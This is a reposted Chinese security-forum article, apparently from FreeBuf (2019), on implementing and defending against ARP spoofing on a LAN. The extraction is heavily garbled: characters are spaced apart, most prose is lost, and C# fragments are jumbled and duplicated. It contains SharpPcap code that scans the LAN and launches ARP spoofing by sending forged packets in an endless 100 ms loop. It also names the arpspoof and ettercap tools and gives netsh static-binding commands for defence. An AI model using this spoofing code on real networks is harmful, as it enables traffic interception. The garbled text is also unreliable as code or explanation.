[14552] 2019-09-05_浅谈ARP欺骗的实现与防御

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-09-05_浅谈ARP欺骗的实现与防御 A R P   F r e e B u f   2 0 1 9 - 0 9 - 0 5 A R P M A C T C P / I P I P 使 I P I P I P I P M A C A R P a d d r e s s   r e s o l u t i o n I P M A C   E x t r a c t e d   f r o m   W i k i P e d i a . 使 M A C I P M A C A R P I P M A C 使 M A C M A C I P I P I P 使 A R P M A C A R P A B I P M A C A 1 9 2 . 1 6 8 . 1 . 1 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 1 B 1 9 2 . 1 6 8 . 1 . 2 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 A B A B I P B M A C A A R P B M A C 1 A I P 访 B I P 1 9 2 . 1 6 8 . 1 . 2 A A R P B M A C 2 A A R P 1 9 2 . 1 6 8 . 1 . 2 A R P 广 A I P M A C A R P A R P I P I P I P A R P 3 B A R P I P I P A I P M A C A R P 4 B M A C A R P A 5 A B A R P B I P M A C A R P B M A C A B I P A R P A R P A A R P A B A R P A R P I P M A C A 1 9 2 . 1 6 8 . 1 . 1 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 1 B 1 9 2 . 1 6 8 . 1 . 2 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 C 1 9 2 . 1 6 8 . 1 . 3 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 3 1 . A C A A R P 1 9 2 . 1 6 8 . 1 . 3 ? 1 9 2 . 1 6 8 . 1 . 1 2 . B A 1 9 2 . 1 6 8 . 1 . 3 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 3 . A R P A 1 9 2 . 1 6 8 . 1 . 3 M A C 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 A R P 1 . B A 2 . A R P 1 . 2 . A R P k a l i a r p s p o o f e t t e r c a p
L i b P a c p L i b P c a p U N I X C A P I U N I X U N I X U N I X 访 l i b p c a p U N I X W i n P c a p : W i n P c a p W i n d o w s l i b p c a p W i n d o w s W i n P c a p W i r e s h a r k S h a r p P c a p S h a r p P c a p W i n P c a p L i b P c a p C # A R P S h a r p P c a p M A C M A C A R P 2 0 0 x 0 0 , 0 x 0 1 A R P , 0 x 0 0 , 0 x 0 2 6 4 A R P 6 4 1 8 0 x 0 0 F C S 4 F C S F C S F C S A R P A R P A R P I P M A C D e e m o S h a r p P a c p I P v 4 M A C : L i b P c a p L i v e D e v i c e L i s t . I n s t a n c e L i s t d e v i c e . A d d r e s s I P v 4 I P v 6 M A C S o c k a d d r . A d d r e s s T y p e . A F _ I N E T _ A F I N E T 6 I P ( ) S o c k a d d r . A d d r e s s T y p e . H A R D W A R E M A C I P M A C I P M A C A R P M A C A R P / / /   < s u m m a r y > / / /   A R P M A C / / /   < / s u m m a r y > p u b l i c   v o i d   S c a n L A N ( s t r i n g   r e c i p i e n t I P , s t r i n g   s e n d e r M A C , s t r i n g   s e n d e r I P ) {         / /   A r p         v a r   a r p P a c k e t s   =   B u i l d R e q u e s t ( I P A d d r e s s . P a r s e ( r e c i p i e n t I P ) ,   P h y s i c a l A d d r e s s . P a r s e ( s e n d e r M A C ) ,   I P A d d r e s s . P a r s e ( s e n d e r I P ) ) ;         / / t c p d u m p a r p         S t r i n g   a r p F i l t e r   =   " a r p   a n d   e t h e r   d s t   "   +   s e n d e r M A C ;         / / o p e n   t h e   d e v i c e   w i t h   2 0 m s   t i m e o u t   2 0 m s
线 A R P A R P 线 A R P I P 1 . U I 2 . 线 3 . F C S F C S F C S F r a m e   C h e c k   S e q u e n c e 4 F C S F C S F C S F C S F C S C R C 3 2 C R C C R C 2 C R C 4 C R C C R C C R C - 4 :   C R C   :   C R C     g ( x )     r     d a t a     l e n     b i t     r e g     r + 1     C R C - 4     g ( x ) = x ^ 4   +   x   +   1     5 b i t s     1 0 0 1 1     r e g     5   b i t s   r e g [ 1 ]     r e g     r e g [ r + 1 ]     r e g           S t r i n g   a r p F i l t e r   =   " a r p   a n d   e t h e r   d s t   "   +   s e n d e r M A C ;         / / o p e n   t h e   d e v i c e   w i t h   2 0 m s   t i m e o u t   2 0 m s         _ d e v i c e . O p e n ( D e v i c e M o d e . P r o m i s c u o u s ,   2 0 ) ;         / / s e t   t h e   f i l t e r                 _ d e v i c e . F i l t e r   =   a r p F i l t e r ;         / / 线         s c a n T h r e a d   =   n e w   T h r e a d ( ( )   = & g t ;         {                 v a r   l a s t R e q u e s t T i m e   =   D a t e T i m e . F r o m B i n a r y ( 0 ) ;                 v a r   r e q u e s t I n t e r v a l   =   n e w   T i m e S p a n ( 0 ,   0 ,   1 ) ;                 v a r   t i m e o u t D a t e T i m e   =   D a t e T i m e . N o w   +   t i m e o u t ;                 w h i l e                 {                         i f   ( r e q u e s t I n t e r v a l   & l t ;   ( D a t e T i m e . N o w   -   l a s t R e q u e s t T i m e ) )                         {                                 / /   i n j e c t   t h e   p a c k e t   t o   t h e   w i r e                                   _ d e v i c e . S e n d P a c k e t ( a r p P a c k e t s ) ;                                 l a s t R e q u e s t T i m e   =   D a t e T i m e . N o w ;                         }                         / / r e a d   t h e   n e x t   p a c k e t   f r o m   t h e   n e t w o r k                         v a r   r e p l y   =   _ d e v i c e . G e t N e x t P a c k e t ( ) ;         / / A R P                         i f   ( r e p l y   = =   n u l l )     / /                         {                                 c o n t i n u e ;                         }                         / /   p a r s e   t h e   p a c k e t                           v a r   p a c k e t   =   P a c k e t D o t N e t . P a c k e t . P a r s e P a c k e t ( r e p l y . L i n k L a y e r T y p e ,   r e p l y . D a t a ) ;                         / /   i s   t h i s   a n   a r p   p a c k e t ?   a r p v a r   a r p P a c k e t   =   P a c k e t D o t N e t . A R P P a c k e t . G e t E n c a p s u l a t e d ( p a c k e t ) ;                         i f   ( a r p P a c k e t   = =   n u l l )                         {                                 c o n t i n u e ;                         }                         / / i f   t h i s   i s   t h e   r e p l y   w e ' r e   l o o k i n g   f o r ,   s t o p     / / A R P I P     U I I P                         i f   ( a r p P a c k e t . S e n d e r P r o t o c o l A d d r e s s . T o S t r i n g ( ) . E q u a l s ( r e c i p i e n t I P ) )                         {                                 / /     - M A C                                 i f   ( R e s o l v e d E v e n t   ! =   n u l l )                                 {                                         R e s o l v e d E v e n t ( t h i s ,   a r p P a c k e t . S e n d e r H a r d w a r e A d d r e s s ) ;                                 }                                 b r e a k ;                         }                 }                 _ d e v i c e . C l o s e ( ) ;         / /         } ) ;         s c a n T h r e a d . S t a r t ( ) ;   / / 线 } r e g   =   0 ;
C R C C R C - 4 A R P C R C 3 2 C R C - 3 2 C R C 3 2 C R C 3 2 A R P A R P S h a r p P a c p 线 A R P A R P A R P M A C A R P 1 . n e t s h   i   i   s h o w   i n 2 . M A C A R P M A C a r p   - a a r p p i n g 3 . n e t s h   - c   i   i   a d d   n e i g h b o r s   I d x   I P   M A C   ,   d a t a   =   d a t a r ; p o s   =   1 ; w h i l e ( p o s   & l t ; =   l e n ) {         i f ( r e g [ r + 1 ]   = =   1 )   / /   r e g g ( x )         {                 / /   X O R                 r e g   =   r e g   X O R   g ( x ) ;         }         / /           r e g   =   ( r e g & l t ; & l t ; 1 )   |   ( d a t a [ p o s ] ) ;         p o s + + ; } r e t u r n   r e g ;   / /   r e g r / / C R C 3 2 U I n t 3 2   u   =   G e t C R C 3 2 ( p a c k e t ) ; b y t e [ ]   c r c   =   n e w   b y t e [ 4 ] ; / / U i n t B y t e [ 4 ]   C R C 3 2   i s   U n i t   T o   B y t e [ 4 ] c r c [ 0 ]   =   ( b y t e ) ( u   & g t ; & g t ;   2 4 ) ; c r c [ 1 ]   =   ( b y t e ) ( u   & g t ; & g t ;   1 6 ) ; c r c [ 2 ]   =   ( b y t e ) ( u   & g t ; & g t ;   8 ) ; c r c [ 3 ]   =   ( b y t e ) ( u ) ; / / F C S f o r   ( i n t   i   =   0 ;   i   & l t ;   c r c . L e n g t h ;   i + + ) {         p 1 [ p 1 . L e n g t h   -   1   -   4   +   i ]   =   c r c [ i ] ; } r e t u r n   p 1 ; / / /   & l t ; s u m m a r y & g t ; / / /   a r p P C / / /   & l t ; / s u m m a r y & g t ; / / /   & l t ; p a r a m   n a m e = " g e t w a y I P " & g t ; & l t ; / p a r a m & g t ; / / /   & l t ; p a r a m   n a m e = " w r o n g M a c " & g t ; & l t ; / p a r a m & g t ; / / /   & l t ; p a r a m   n a m e = " d e s t I P " & g t ; & l t ; / p a r a m & g t ; / / /   & l t ; p a r a m   n a m e = " d e s t M a c " & g t ; & l t ; / p a r a m & g t ; p u b l i c   v o i d   S t a r t A R P S p o o f i n g ( s t r i n g   s e n d e r I P ,   s t r i n g   r e c i p i e n t I P , s t r i n g   s e n d e r M A C , s t r i n g   r e c i p i e n t M A C ) {         m I P   =   I P T O B Y T E ( r e c i p i e n t I P ) ;         s I P   =   I P T O B Y T E ( s e n d e r I P ) ;         m M A C   =   M A C T O B Y T E ( r e c i p i e n t M A C ) ;         s M A C   =   M A C T O B Y T E ( s e n d e r M A C ) ;         / / A R P         p a c k e t   =   g e t P a c k e t ( s I P ,   m I P ,   s M A C ,   m M A C ) ;         / / 线         s e n d T h r e a d   =   n e w   T h r e a d ( S e n d P a c k ) ;         / / 线         s e n d T h r e a d . S t a r t ( ) ; } / / /   & l t ; s u m m a r y & g t ; / / /   / / /   & l t ; / s u m m a r y & g t ; p u b l i c   v o i d   S e n d P a c k ( ) {         _ d e v i c e . O p e n ( ) ;         v a r   t i m e o u t D a t e T i m e   =   D a t e T i m e . N o w   +   t i m e o u t ;         / /         w h i l e   ( t r u e )         {                 _ d e v i c e . S e n d P a c k e t ( p a c k e t ) ;                 t i m e + + ;                 / /     -                 i f   ( R e s o l v e d E v e n t   ! =   n u l l )                 {                         R e s o l v e d T i m e E v e n t ( t h i s ,   t i m e ) ;                 }                 T h r e a d . S l e e p ( 1 0 0 ) ;     / / 线 1 0 0 m s         } } n e t s h   i   i   s h o w   i n n e t s h   - c   " i   i "   a d d   n e i g h b o r s   I d x   I P   M A C n e t s h   - c   " i   i "   a d d   n e i g h b o r s   9   1 0 . 6 0 . 1 2 . 1   4 c - 5 e - 0 c - 6 4 - 7 3 - f 5
S h a r p P c a p P a c k e t D o t N e t 使 P a c k e t D o t N e t 便 S h a r p P c a p T o o l I P V M w a r e 穿 V M w a r e * F r e e B u f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则